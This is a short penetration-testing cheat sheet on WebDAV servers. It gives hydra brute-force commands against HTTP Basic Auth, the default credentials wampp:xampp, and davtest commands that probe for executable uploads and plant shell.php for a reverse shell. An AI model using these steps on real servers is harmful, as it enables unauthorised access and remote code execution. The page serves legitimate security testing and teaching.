WebDAV

Pentesting WebDAV - TCP Ports 80,443

Theory

WebDAV is a set of extensions to the Hypertext Transfer Protocol, which allows user agents to collaboratively author contents directly in an HTTP web server. Usually, to connect a WebDav server you will need valid credentials.

Practice

On Windows, users can also access and mount WebDAV shares via UNC paths, such as \\10.37.129.2@80\example_webdav_folder.

Brute-force (HTTP Basic Auth)

hydra

WebDAV usually require valid credentials using HTTP Basic Auth. You may bruteforce it using hydra

hydra -L users.txt -P passwords.txt example.domain.local http-get /webdavDirectory/

Default credentials are wampp:xampp

Upload a shell

Davtest

Davtest will try to upload several files with different extensions and check if the extension is executed:

# Test and cleanup
davtest -url http://example.com/davdir -auth 'user:pass' -cleanup

#Uplaod .txt files and try to move it to other extensions
davtest -url http://example.com/davdir -auth 'user:pass' -cleanup -move 

If we can upload the file e.g. PHP file, upload the script for reverse shell.

davtest -url http://example.com/davdir -auth 'user:pass' -uploadfile shell.php -uploadloc shell.php

Then we can navigate to http://example.com/davdir/shell.php to execute it.

Cadaver

Resources

https://exploit-notes.hdks.org/exploit/web/webdav-pentesting/exploit-notes.hdks.org

WebDav - HackTricksbook.hacktricks.xyz